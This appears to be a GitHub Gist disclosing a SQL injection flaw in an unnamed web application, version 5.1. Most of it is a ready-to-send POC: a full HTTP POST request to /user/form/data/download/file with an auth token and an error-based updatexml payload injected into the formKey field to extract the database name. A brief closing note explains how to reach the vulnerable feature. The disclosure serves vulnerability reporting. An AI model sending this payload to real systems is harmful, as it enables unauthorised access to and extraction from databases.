Last active
September 16, 2025 11:05
-
-
Save Theresasu1/b1b57b3763a286d9491541180c99368b to your computer and use it in GitHub Desktop.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| 【SQL Injection】 | |
| Version: 5.1 | |
| API：/user/form/data/download/file | |
| POC | |
| POST /user/form/data/download/file HTTP/1.1 | |
| Host: 172.21.203.192:8999 | |
| User-Agent: Mozilla/5.0 (Windows NT 10.0; rv:78.0) Gecko/20100101 Firefox/78.0 | |
| Content-Length: 129 | |
| Accept: application/json, text/plain, */* | |
| Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6 | |
| Content-Type: application/json | |
| token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJzdWIiOiIxIiwiaWF0IjoxNzU4MDE5OTYzLCJleHAiOjE3NTg2MjQ3NjN9.YUS0HDFOavxT1KbK9VAhOSF0M-DJfbxjpwrU2wV1P-ztjaKSkS-A2vCQ__8BV-rbx1KEruXXEgrPlti8eZTZUg | |
| Accept-Encoding: gzip | |
| {"authGroupId":null,"current":null,"formKey":"ksmWeN6 'and updatexml(1,concat(0x7e,(select database()),0x7e),1) and '","size":null} |
Author
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
Docker environment setup
The address where the sql injection attack vulnerability exists: Create a new form - Add a file upload module - Select the data on the left to download the attachment - SQL error statement injection